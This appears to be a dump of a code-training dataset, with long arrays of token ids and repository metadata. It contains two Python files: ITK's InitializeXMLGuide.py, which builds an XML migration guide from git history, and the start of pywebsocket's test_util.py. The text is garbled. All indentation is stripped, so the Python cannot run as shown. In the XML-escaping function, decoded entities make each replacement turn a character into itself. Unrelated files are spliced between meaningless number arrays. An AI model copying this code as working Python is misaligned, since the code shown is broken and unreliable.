14,
576,
12,
14467,
555,
75,
29,
364,
80,
59,
442,
8,
964,
14,
364,
555,
75,
14,
576,
3948,
267,
299,
14,
2117,
342,
267,
367,
312,
315,
312,
5780,
26,
288,
2727,
275,
593,
68,
8278,
5299,
90,
8,
4812,
82,
29,
80,
14,
344,
12,
14467,
8278,
5299,
90,
29,
79,
9,
288,
2727,
14,
2117,
342,
267,
14775,
480,
36,
364,
8143,
1134,
12990,
1873,
26,
8352,
908,
8,
964,
14,
647,
12990,
1873,
14,
576,
430,
267,
372,
4660,
8,
633,
63,
509,
480,
513,
65,
2237,
272,
916,
1056,
14,
765,
508,
283,
4030,
356,
267,
14775,
63,
2550,
8,
964,
9,
339,
372,
3795,
63,
1160,
480,
68,
364,
9091,
14,
1360,
401,
1824,
29,
964,
12,
22008,
29,
513,
8,
964,
14,
364,
555,
75,
430,
421,
199,
318,
664,
63,
269,
63,
5188,
8,
3150,
304,
272,
408,
1575,
66,
1312,
1873,
284,
1315,
17097,
11980,
2497,
1873,
2607,
1873,
5973,
85,
1315,
19325,
3605,
634,
456,
336,
89,
2027,
130,
225,
290,
1873,
17176,
371,
5298,
85,
7901,
14,
1360,
624,
272,
862,
26,
267,
299,
275,
1611,
12990,
1873,
14,
2416,
1252,
10898,
8,
47,
68,
8278,
5299,
90,
680,
4509,
8,
2713,
12990,
1873,
14,
344,
508,
4422,
680,
362,
342,
267,
372,
299,
272,
871,
1611,
12990,
1873,
14,
7400,
26,
267,
12004,
8,
5188,
9,
421,
199,
32,
571,
14,
705,
2232,
8,
5188,
9,
199,
318,
2034,
63,
1397,
63,
4214,
8,
69,
304,
272,
408,
58,
17097,
11980,
2497,
1873,
17176,
371,
5298,
85,
7901,
14,
1360,
336,
5448,
90,
2279,
350,
20661,
302,
1873,
312,
4272,
1895,
16079,
287,
4674,
620,
5220,
624,
272,
372,
3795,
63,
1160,
360,
5188,
14,
1360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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
ajjl/ITK
|
Documentation/Migration/InitializeXMLGuide.py
|
12
|
12324
|
#!/usr/bin/env python
#
# InitializeXMLGuide.py
#
# This script will parse the Git commits on the current branch and initializes
# an XML migration guide document with the apropriate content.
from __future__ import print_function
import os.path
import sys
import subprocess
import datetime
####################
# Helper Functions #
####################
#
# strip the prefix from the string in order
def stripPrefix(string, prefix):
if string[0:len(prefix)] == prefix:
return string[len(prefix):len(string)]
else:
return string
#
# strip the suffix from the string in order
def stripSuffix(string, suffix):
if string[len(string)-len(suffix):len(string)] == suffix:
return string[0:len(string)-len(suffix)]
else:
return string
#
# test the start of a string
def startsWith(string, prefix):
return (string.find(prefix) == 0)
#
# test the end of a string
def endsWith(string, suffix):
return (string.rfind(suffix) == len(string) - len(suffix))
#
# get the output of an external command
def runCommand(command):
args = command.split()
process = subprocess.Popen(args, stdout = subprocess.PIPE)
while process.returncode == None:
process.poll()
return process.communicate()[0]
#
# add proper number of indents
def getIndent(indent):
if indent:
return " "
else:
return ""
#
# sub out protected characters
def prepXMLString(string):
out = string.replace("<", "<")
out = out.replace("&", "&")
out = out.replace(">", ">")
out = out.replace('"', """)
return out.replace("'", "'")
#
# add a comment to the XML file string
def addXMLComment(xmlString, comment, indent=False):
# comment
xmlString = xmlString + getIndent(indent) + "<!--**\n"
for line in comment.splitlines():
xmlString = xmlString + getIndent(indent) + "** " + line + "\n"
xmlString = xmlString + getIndent(indent) + "**-->\n"
return xmlString
#
# add an element to the XML file string
def addXMLElement(xmlString, elementName, elementText, indent=False, comment = ""):
# comment
if comment != "":
xmlString = addXMLComment(xmlString, comment, indent)
# opening tag
xmlString = xmlString + getIndent(indent) + "<" + elementName + ">\n"
# body
for line in elementText.splitlines():
xmlString = xmlString + getIndent(indent) + " " + line + "\n"
# closing tag
return xmlString + getIndent(indent) + "</" + elementName + ">\n\n"
#
# add spaces for camel case string
def addCamelCaseSpaces(string):
firstLetter = True
out = ""
for letter in string:
if not firstLetter and letter.isupper():
out = out + " " + letter
else:
out = out + letter
firstLetter = False
return out
########################
# Main execution point #
########################
if __name__ == '__main__':
#
# Get a unique XMLFileName from the user
#
# get directory info
migrationDir = sys.path[0]
baseDir = stripSuffix(migrationDir, "/Documentation/Migration")
# get XMLFileName (loop until name is unique)
uniqueName = False
XMLFileName = ""
XMLFilePath = ""
print("Please enter a unique name for the XML document")
while uniqueName == False:
# get the user's input
nameCandidate = raw_input(">> ")
if not endsWith(nameCandidate, ".xml"):
nameCandidate = nameCandidate + ".xml"
pathCandidate = migrationDir + "/" + nameCandidate
# check uniqueness
if not os.path.exists(pathCandidate):
uniqueName = True
XMLFileName = nameCandidate
XMLFilePath = pathCandidate
else:
print('"' + nameCandidate + '" already exists.'
'Please specify a different name')
# split the name for the title tag
titleText = addCamelCaseSpaces(stripSuffix(XMLFileName, ".xml"))
#
# Get list of commits on current branch
#
# Get the current branch name
HEADfilename = baseDir + "/.git/HEAD"
try:
HEADfile = open(HEADfilename, "r")
except IOError:
print("I/O error: Could not open .git/HEAD")
sys.exit()
branchName = HEADfile.readline()
branchName = stripPrefix(branchName, "ref: refs/heads/")
branchName = stripSuffix(branchName, "\n")
# parse file in .git/logs/refs/heads/BRANCH_NAME
branchLogFilename = baseDir + "/.git/logs/refs/heads/" + branchName
try:
branchLogFile = open(branchLogFilename, "r")
except IOError:
print("I/O error: Could not open branch log file")
sys.exit()
# grab the commit lines, but ignore ammended ones
logCommand = "git log --format=format:%H origin/master.."
log = runCommand(logCommand)
commitList = [l.strip() for l in log.splitlines()]
# grab the base commit, the one used to create the branch
logCommand = "git log -n1 --format=format:%P " + commitList[-1]
log = runCommand(logCommand)
baseCommit = log.strip()
#
# Parse each commit's log
#
descriptionText = "---- REMOVE THIS LINE -- This element should contain an English description of what changes were made along with rational for making them. ----\n"
descriptionText += "---- REMOVE THIS LINE -- The commit log should help you to fill this field. ----\n"
changeIdText = ""
sampleCodeOldList = []
sampleCodeNewList = []
changedFileList = []
exampleAndTestChangedFileList = []
for commit in commitList:
# get the log for the commit
logCommand = "git log -n1 --format=format:%s%n%b " + commit
log = runCommand(logCommand)
descriptionText = descriptionText + "---- REMOVE THIS LINE -- Log from commit " + commit + " ----\n"
for line in log.splitlines():
# commit message lines and change id lines
if startsWith(line.strip(), "Change-Id: "):
changeId = stripPrefix(line.strip(), "Change-Id: ")
changeIdText = changeIdText + changeId + "\n"
else:
descriptionText = descriptionText + line.strip() + '\n'
# get the modified file list for the commit
logCommand = "git log -n1 --name-only --format=format: " + commit
log = runCommand(logCommand)
for line in log.splitlines():
# changed file lines
filename = line.strip()
if filename:
if not filename in changedFileList:
changedFileList.append(filename)
if startsWith(filename, "Examples") or startsWith(filename, "Testing"):
exampleAndTestChangedFileList.append(filename)
#
# parse the diff of each Example or Testing file
#
print(exampleAndTestChangedFileList)
for filename in exampleAndTestChangedFileList:
# Add filename
sampleCodeOldText = "---- REMOVE THIS LINE -- Code from " + filename + " ----\n"
sampleCodeNewText = "---- REMOVE THIS LINE -- Code from " + filename + " ----\n"
# get the log for the commit
fullPath = baseDir + "/" + filename
diffCommand = "git diff " + baseCommit + " -- " + fullPath
print(diffCommand)
diff = runCommand(diffCommand)
# parse lines into old and new
for line in diff.splitlines():
# old line
if (not startsWith(line, "--")) and startsWith(line, "-"):
sampleCodeOldText = sampleCodeOldText + line.lstrip("-").strip() + "\n"
# new line
elif (not startsWith(line, "++")) and startsWith(line, "+"):
sampleCodeNewText = sampleCodeNewText + line.lstrip("+").strip() + "\n"
sampleCodeOldList.append(sampleCodeOldText)
sampleCodeNewList.append(sampleCodeNewText)
#
# Create XMl file text
#
xmlString = '<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE Change SYSTEM "http://itk.org/migrationv4/ITKMigration.dtd">\n\n'
changeElementBody = ""
# <Title> element
titleComment = "Title for the online migration page"
changeElementBody = addXMLElement(changeElementBody, "Title", titleText, True, titleComment)
# <Author> element
authorName = runCommand("git log -n1 --format=format:%an")
authorComment = "The author of the change"
changeElementBody = addXMLElement(changeElementBody, "Author", authorName, True, authorComment)
# <Date> element
date = datetime.datetime.now().strftime("%Y-%m-%d")
dateComment = "Date of creation for the XML document"
changeElementBody = addXMLElement(changeElementBody, "Date", date, True, dateComment)
# <Description> element
descriptionComment = "Plain text description of the change\nExtracted from git commit messages"
changeElementBody = \
addXMLElement(changeElementBody, "Description",\
"<![CDATA[\n" + prepXMLString(descriptionText) + "]]>\n", True, descriptionComment)
# <SampleCode> element
if len(sampleCodeOldList) == 0:
sampleCodeOldText = ""
sampleCodeNewText = ""
else:
sampleCodeOldText = sampleCodeOldList[0]
sampleCodeNewText = sampleCodeNewList[0]
sampleCodeComment = "Sample code snippets\nExtracted from git diff of changed files in Examples and Testing"
sampleCodeElementBody = "---- REMOVE THIS LINE -- This element should contain some code snippet that illustrates how to update the API from the old version to the new version. ----\n"
sampleCodeElementBody += "---- REMOVE THIS LINE -- The changes extracted from the Examples and Testing directory should help you to fill this field. ----\n"
sampleCodeElementBody += "---- REMOVE THIS LINE -- You can set multiple SampleCode tags. ----\n"
sampleCodeElementBody = \
addXMLElement(sampleCodeElementBody, "Old", "<![CDATA[\n" + prepXMLString(sampleCodeOldText) + "]]>\n")
sampleCodeElementBody = \
addXMLElement(sampleCodeElementBody, "New", "<![CDATA[\n" + prepXMLString(sampleCodeNewText) + "]]>\n")
changeElementBody = addXMLElement(changeElementBody, "SampleCode",\
sampleCodeElementBody, True, sampleCodeComment)
i = 1
while i<len(sampleCodeOldList):
sampleCodeOldText = sampleCodeOldList[i]
sampleCodeNewText = sampleCodeNewList[i]
sampleCodeComment = ""
sampleCodeElementBody = ""
sampleCodeElementBody = \
addXMLElement(sampleCodeElementBody, "Old", "<![CDATA[\n" + prepXMLString(sampleCodeOldText) + "]]>\n")
sampleCodeElementBody = \
addXMLElement(sampleCodeElementBody, "New", "<![CDATA[\n" + prepXMLString(sampleCodeNewText) + "]]>\n")
changeElementBody = addXMLElement(changeElementBody, "SampleCode",\
sampleCodeElementBody, True, sampleCodeComment)
i += 1
# <Gerrit-ChangeId> element
changeIdComment = "The change-ids for all commits in the topic branch"
changeElementBody = \
addXMLElement(changeElementBody, "Gerrit-ChangeId",\
changeIdText, True, changeIdComment)
# <FileList> element
fileListComment = "List of all changed files from the topic branch"
fileListText = ""
for f in changedFileList:
fileListText = fileListText + f + "\n"
changeElementBody = \
addXMLElement(changeElementBody, "FileList",\
fileListText, True, fileListComment)
# <MigrationFix-Automatic> comment
autoFixComment = "If the migration can be accomplished by a simple string\nsubstitution, then use the following construct to define\nthe substitution rule.\n\n<MigrationFix-Automatic>\n <Old>\n <![CDATA[MipsleledName]]>\n </Old>\n <New>\n <![CDATA[MisspelledName]]>\n </New>\n</MigrationFix-Automatic>"
changeElementBody = addXMLComment(changeElementBody, autoFixComment, True) +"\n"
# <MigrationFix-Manual> comment
manFixComment = "If the migration can NOT be accomplished by a simple string\nsubstitution, but potential problem spots can be identified,\nuse the following construct to define a migration flag rule.\n\n<MigrationFix-Manual>\n OldFunctionName\n</MigrationFix-Manual>"
changeElementBody = addXMLComment(changeElementBody, manFixComment, True) + "\n"
# <Change> element
changeComment = "\n" + XMLFileName + "\n\n>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nTHIS FILE HAS BEEN AUTOMATICALLY GENERATED. EDIT IT BEFORE COMMITING\n<<<<<<<<<<<<<<<<<<<<<<<<<<<\n\nPlease, make sure this file validates the following w3c test before committing it: http://validator.w3.org"
xmlString = addXMLElement(xmlString, "Change", changeElementBody, False, changeComment)
# drop the blanks at the end of the lines to please git's hooks
xmlString = "\n".join([l.rstrip() for l in xmlString.splitlines()])
#
# Save the file
#
try:
xmlFile = open(XMLFilePath, "w")
xmlFile.write(xmlString)
except IOError:
print("I/O Error: Could not write to " + XMLFilePath)
sys.exit()
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
11578,
4317,
4324,
271,
14,
647,
199,
3,
199,
3,
961,
2884,
911,
2198,
314,
12579,
20835,
641,
314,
1453,
5246,
436,
2536,
6491,
199,
3,
376,
4692,
8367,
22885,
2213,
543,
314,
282,
496,
5655,
1564,
14,
199,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
747,
14,
515,
199,
646,
984,
199,
646,
3873,
199,
646,
2197,
199,
199,
749,
381,
199,
3,
11642,
17471,
327,
199,
749,
381,
199,
199,
3,
199,
3,
6202,
314,
2403,
687,
314,
1059,
315,
1865,
199,
318,
6202,
4793,
8,
875,
12,
2403,
304,
523,
340,
1059,
59,
16,
26,
552,
8,
1861,
1874,
508,
2403,
26,
272,
372,
1059,
59,
552,
8,
1861,
304,
552,
8,
875,
1874,
523,
587,
26,
272,
372,
1059,
199,
199,
3,
199,
3,
6202,
314,
4739,
687,
314,
1059,
315,
1865,
199,
318,
6202,
20126,
8,
875,
12,
4739,
304,
523,
340,
1059,
59,
552,
8,
875,
7216,
552,
8,
4511,
304,
552,
8,
875,
1874,
508,
4739,
26,
272,
372,
1059,
59,
16,
26,
552,
8,
875,
7216,
552,
8,
4511,
1874,
523,
587,
26,
272,
372,
1059,
199,
199,
3,
199,
3,
511,
314,
1343,
402,
282,
1059,
199,
318,
9174,
3007,
8,
875,
12,
2403,
304,
523,
372,
334,
875,
14,
1623,
8,
1861,
9,
508,
378,
9,
199,
199,
3,
199,
3,
511,
314,
1284,
402,
282,
1059,
199,
318,
11187,
3007,
8,
875,
12,
4739,
304,
523,
372,
334,
875,
14,
14542,
8,
4511,
9,
508,
822,
8,
875,
9,
446,
822,
8,
4511,
430,
199,
199,
3,
199,
3,
664,
314,
1072,
402,
376,
5957,
1414,
199,
318,
1255,
3110,
8,
1531,
304,
523,
1249,
275,
1414,
14,
1294,
342,
523,
2112,
275,
3873,
14,
7942,
8,
589,
12,
3839,
275,
3873,
14,
6089,
9,
523,
1830,
2112,
14,
9913,
508,
488,
26,
272,
2112,
14,
6843,
342,
523,
372,
2112,
14,
10664,
3430,
16,
61,
199,
199,
3,
199,
3,
1050,
5576,
1329,
402,
31140,
199,
318,
664,
7583,
8,
3724,
304,
523,
340,
4363,
26,
272,
372,
298,
221,
298,
523,
587,
26,
272,
372,
3087,
199,
199,
3,
199,
3,
1007,
734,
17819,
4110,
199,
318,
19986,
4317,
1558,
8,
875,
304,
523,
734,
275,
1059,
14,
1814,
6757,
401,
11746,
4116,
15027,
523,
734,
275,
734,
14,
1814,
22077,
401,
11746,
5282,
15027,
523,
734,
275,
734,
14,
1814,
480,
7166,
11746,
3308,
15027,
523,
734,
275,
734,
14,
1814,
20630,
11746,
5184,
15027,
523,
372,
734,
14,
1814,
27769,
11746,
439,
736,
15027,
199,
199,
3,
199,
3,
1050,
282,
3721,
370,
314,
4692,
570,
1059,
199,
318,
1050,
4317,
7488,
8,
1652,
1558,
12,
3721,
12,
4363,
29,
797,
304,
523,
327,
3721,
523,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
3886,
17722,
23262,
78,
2,
523,
367,
1004,
315,
3721,
14,
7644,
837,
272,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
298,
538,
298,
435,
1004,
435,
1867,
78,
2,
523,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
298,
538,
306,
3072,
78,
2,
523,
372,
2748,
1558,
199,
199,
3,
199,
3,
1050,
376,
1819,
370,
314,
4692,
570,
1059,
199,
318,
1050,
13901,
906,
968,
8,
1652,
1558,
12,
1819,
985,
12,
1819,
1872,
12,
4363,
29,
797,
12,
3721,
275,
26430,
523,
327,
3721,
523,
340,
3721,
1137,
10812,
272,
2748,
1558,
275,
1050,
4317,
7488,
8,
1652,
1558,
12,
3721,
12,
4363,
9,
523,
327,
13618,
1947,
523,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
3886,
2,
435,
1819,
985,
435,
298,
3072,
78,
2,
523,
327,
2396,
523,
367,
1004,
315,
1819,
1872,
14,
7644,
837,
272,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
298,
221,
298,
435,
1004,
435,
1867,
78,
2,
523,
327,
11261,
1947,
523,
372,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
15683,
2,
435,
1819,
985,
435,
298,
3072,
78,
60,
78,
2,
199,
199,
3,
199,
3,
1050,
7883,
367,
31129,
1930,
1059,
199,
318,
1050,
35,
14868,
1538,
23415,
8,
875,
304,
523,
1642,
23496,
275,
715,
523,
734,
275,
3087,
523,
367,
8082,
315,
1059,
26,
272,
340,
440,
1642,
23496,
436,
8082,
14,
374,
4142,
837,
489,
734,
275,
734,
435,
298,
298,
435,
8082,
272,
587,
26,
489,
734,
275,
734,
435,
8082,
272,
1642,
23496,
275,
756,
523,
372,
734,
421,
199,
6565,
199,
3,
11298,
6451,
2376,
327,
199,
6565,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
819,
327,
523,
327,
2372,
282,
3747,
4692,
7733,
687,
314,
922,
523,
327,
819,
327,
664,
2082,
2256,
523,
8367,
3567,
275,
984,
14,
515,
59,
16,
61,
523,
1300,
3567,
275,
6202,
20126,
8,
8998,
3567,
12,
3286,
17763,
15,
9816,
531,
523,
327,
664,
4692,
7733,
334,
3813,
5133,
536,
365,
3747,
9,
523,
3747,
985,
275,
756,
523,
4692,
7733,
275,
3087,
523,
4692,
14225,
275,
3087,
523,
870,
480,
8254,
9509,
282,
3747,
536,
367,
314,
4692,
2213,
531,
523,
1830,
3747,
985,
508,
756,
26,
339,
327,
664,
314,
922,
1159,
1324,
272,
536,
26925,
275,
3066,
63,
1210,
480,
1140,
6099,
272,
340,
440,
11187,
3007,
8,
354,
26925,
12,
3680,
1652,
2349,
489,
536,
26925,
275,
536,
26925,
435,
3680,
1652,
2,
272,
931,
26925,
275,
8367,
3567,
435,
10609,
435,
536,
26925,
339,
327,
1104,
15439,
31820,
272,
340,
440,
747,
14,
515,
14,
2444,
8,
515,
26925,
304,
489,
3747,
985,
275,
715,
489,
4692,
7733,
275,
536,
26925,
489,
4692,
14225,
275,
931,
26925,
272,
587,
26,
489,
870,
360,
4507,
435,
536,
26925,
435,
5522,
2575,
3495,
3530,
288,
283,
8254,
4165,
282,
3365,
536,
358,
819,
327,
3715,
314,
536,
367,
314,
2538,
1947,
523,
2538,
1872,
275,
1050,
35,
14868,
1538,
23415,
8,
1913,
20126,
8,
4317,
7733,
12,
3680,
1652,
2237,
819,
327,
523,
327,
2372,
769,
402,
20835,
641,
1453,
5246,
523,
327,
819,
327,
2372,
314,
1453,
5246,
536,
523
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
11578,
4317,
4324,
271,
14,
647,
199,
3,
199,
3,
961,
2884,
911,
2198,
314,
12579,
20835,
641,
314,
1453,
5246,
436,
2536,
6491,
199,
3,
376,
4692,
8367,
22885,
2213,
543,
314,
282,
496,
5655,
1564,
14,
199,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
747,
14,
515,
199,
646,
984,
199,
646,
3873,
199,
646,
2197,
199,
199,
749,
381,
199,
3,
11642,
17471,
327,
199,
749,
381,
199,
199,
3,
199,
3,
6202,
314,
2403,
687,
314,
1059,
315,
1865,
199,
318,
6202,
4793,
8,
875,
12,
2403,
304,
523,
340,
1059,
59,
16,
26,
552,
8,
1861,
1874,
508,
2403,
26,
272,
372,
1059,
59,
552,
8,
1861,
304,
552,
8,
875,
1874,
523,
587,
26,
272,
372,
1059,
199,
199,
3,
199,
3,
6202,
314,
4739,
687,
314,
1059,
315,
1865,
199,
318,
6202,
20126,
8,
875,
12,
4739,
304,
523,
340,
1059,
59,
552,
8,
875,
7216,
552,
8,
4511,
304,
552,
8,
875,
1874,
508,
4739,
26,
272,
372,
1059,
59,
16,
26,
552,
8,
875,
7216,
552,
8,
4511,
1874,
523,
587,
26,
272,
372,
1059,
199,
199,
3,
199,
3,
511,
314,
1343,
402,
282,
1059,
199,
318,
9174,
3007,
8,
875,
12,
2403,
304,
523,
372,
334,
875,
14,
1623,
8,
1861,
9,
508,
378,
9,
199,
199,
3,
199,
3,
511,
314,
1284,
402,
282,
1059,
199,
318,
11187,
3007,
8,
875,
12,
4739,
304,
523,
372,
334,
875,
14,
14542,
8,
4511,
9,
508,
822,
8,
875,
9,
446,
822,
8,
4511,
430,
199,
199,
3,
199,
3,
664,
314,
1072,
402,
376,
5957,
1414,
199,
318,
1255,
3110,
8,
1531,
304,
523,
1249,
275,
1414,
14,
1294,
342,
523,
2112,
275,
3873,
14,
7942,
8,
589,
12,
3839,
275,
3873,
14,
6089,
9,
523,
1830,
2112,
14,
9913,
508,
488,
26,
272,
2112,
14,
6843,
342,
523,
372,
2112,
14,
10664,
3430,
16,
61,
199,
199,
3,
199,
3,
1050,
5576,
1329,
402,
31140,
199,
318,
664,
7583,
8,
3724,
304,
523,
340,
4363,
26,
272,
372,
298,
221,
298,
523,
587,
26,
272,
372,
3087,
199,
199,
3,
199,
3,
1007,
734,
17819,
4110,
199,
318,
19986,
4317,
1558,
8,
875,
304,
523,
734,
275,
1059,
14,
1814,
6757,
401,
11746,
4116,
15027,
523,
734,
275,
734,
14,
1814,
22077,
401,
11746,
5282,
15027,
523,
734,
275,
734,
14,
1814,
480,
7166,
11746,
3308,
15027,
523,
734,
275,
734,
14,
1814,
20630,
11746,
5184,
15027,
523,
372,
734,
14,
1814,
27769,
11746,
439,
736,
15027,
199,
199,
3,
199,
3,
1050,
282,
3721,
370,
314,
4692,
570,
1059,
199,
318,
1050,
4317,
7488,
8,
1652,
1558,
12,
3721,
12,
4363,
29,
797,
304,
523,
327,
3721,
523,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
3886,
17722,
23262,
78,
2,
523,
367,
1004,
315,
3721,
14,
7644,
837,
272,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
298,
538,
298,
435,
1004,
435,
1867,
78,
2,
523,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
298,
538,
306,
3072,
78,
2,
523,
372,
2748,
1558,
199,
199,
3,
199,
3,
1050,
376,
1819,
370,
314,
4692,
570,
1059,
199,
318,
1050,
13901,
906,
968,
8,
1652,
1558,
12,
1819,
985,
12,
1819,
1872,
12,
4363,
29,
797,
12,
3721,
275,
26430,
523,
327,
3721,
523,
340,
3721,
1137,
10812,
272,
2748,
1558,
275,
1050,
4317,
7488,
8,
1652,
1558,
12,
3721,
12,
4363,
9,
523,
327,
13618,
1947,
523,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
3886,
2,
435,
1819,
985,
435,
298,
3072,
78,
2,
523,
327,
2396,
523,
367,
1004,
315,
1819,
1872,
14,
7644,
837,
272,
2748,
1558,
275,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
298,
221,
298,
435,
1004,
435,
1867,
78,
2,
523,
327,
11261,
1947,
523,
372,
2748,
1558,
435,
664,
7583,
8,
3724,
9,
435,
15683,
2,
435,
1819,
985,
435,
298,
3072,
78,
60,
78,
2,
199,
199,
3,
199,
3,
1050,
7883,
367,
31129,
1930,
1059,
199,
318,
1050,
35,
14868,
1538,
23415,
8,
875,
304,
523,
1642,
23496,
275,
715,
523,
734,
275,
3087,
523,
367,
8082,
315,
1059,
26,
272,
340,
440,
1642,
23496,
436,
8082,
14,
374,
4142,
837,
489,
734,
275,
734,
435,
298,
298,
435,
8082,
272,
587,
26,
489,
734,
275,
734,
435,
8082,
272,
1642,
23496,
275,
756,
523,
372,
734,
421,
199,
6565,
199,
3,
11298,
6451,
2376,
327,
199,
6565,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
819,
327,
523,
327,
2372,
282,
3747,
4692,
7733,
687,
314,
922,
523,
327,
819,
327,
664,
2082,
2256,
523,
8367,
3567,
275,
984,
14,
515,
59,
16,
61,
523,
1300,
3567,
275,
6202,
20126,
8,
8998,
3567,
12,
3286,
17763,
15,
9816,
531,
523,
327,
664,
4692,
7733,
334,
3813,
5133,
536,
365,
3747,
9,
523,
3747,
985,
275,
756,
523,
4692,
7733,
275,
3087,
523,
4692,
14225,
275,
3087,
523,
870,
480,
8254,
9509,
282,
3747,
536,
367,
314,
4692,
2213,
531,
523,
1830,
3747,
985,
508,
756,
26,
339,
327,
664,
314,
922,
1159,
1324,
272,
536,
26925,
275,
3066,
63,
1210,
480,
1140,
6099,
272,
340,
440,
11187,
3007,
8,
354,
26925,
12,
3680,
1652,
2349,
489,
536,
26925,
275,
536,
26925,
435,
3680,
1652,
2,
272,
931,
26925,
275,
8367,
3567,
435,
10609,
435,
536,
26925,
339,
327,
1104,
15439,
31820,
272,
340,
440,
747,
14,
515,
14,
2444,
8,
515,
26925,
304,
489,
3747,
985,
275,
715,
489,
4692,
7733,
275,
536,
26925,
489,
4692,
14225,
275,
931,
26925,
272,
587,
26,
489,
870,
360,
4507,
435,
536,
26925,
435,
5522,
2575,
3495,
3530,
288,
283,
8254,
4165,
282,
3365,
536,
358,
819,
327,
3715,
314,
536,
367,
314,
2538,
1947,
523,
2538,
1872,
275,
1050,
35,
14868,
1538,
23415,
8,
1913,
20126,
8,
4317,
7733,
12,
3680,
1652,
2237,
819,
327,
523,
327,
2372,
769,
402,
20835,
641,
1453,
5246,
523,
327,
819,
327,
2372,
314,
1453,
5246,
536,
523,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
mateon1/servo
|
tests/wpt/css-tests/tools/pywebsocket/src/test/test_util.py
|
449
|
7538
|
#!/usr/bin/env python
#
# Copyright 2011, Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""Tests for util module."""
import os
import random
import sys
import unittest
import set_sys_path # Update sys.path to locate mod_pywebsocket module.
from mod_pywebsocket import util
_TEST_DATA_DIR = os.path.join(os.path.split(__file__)[0], 'testdata')
class UtilTest(unittest.TestCase):
"""A unittest for util module."""
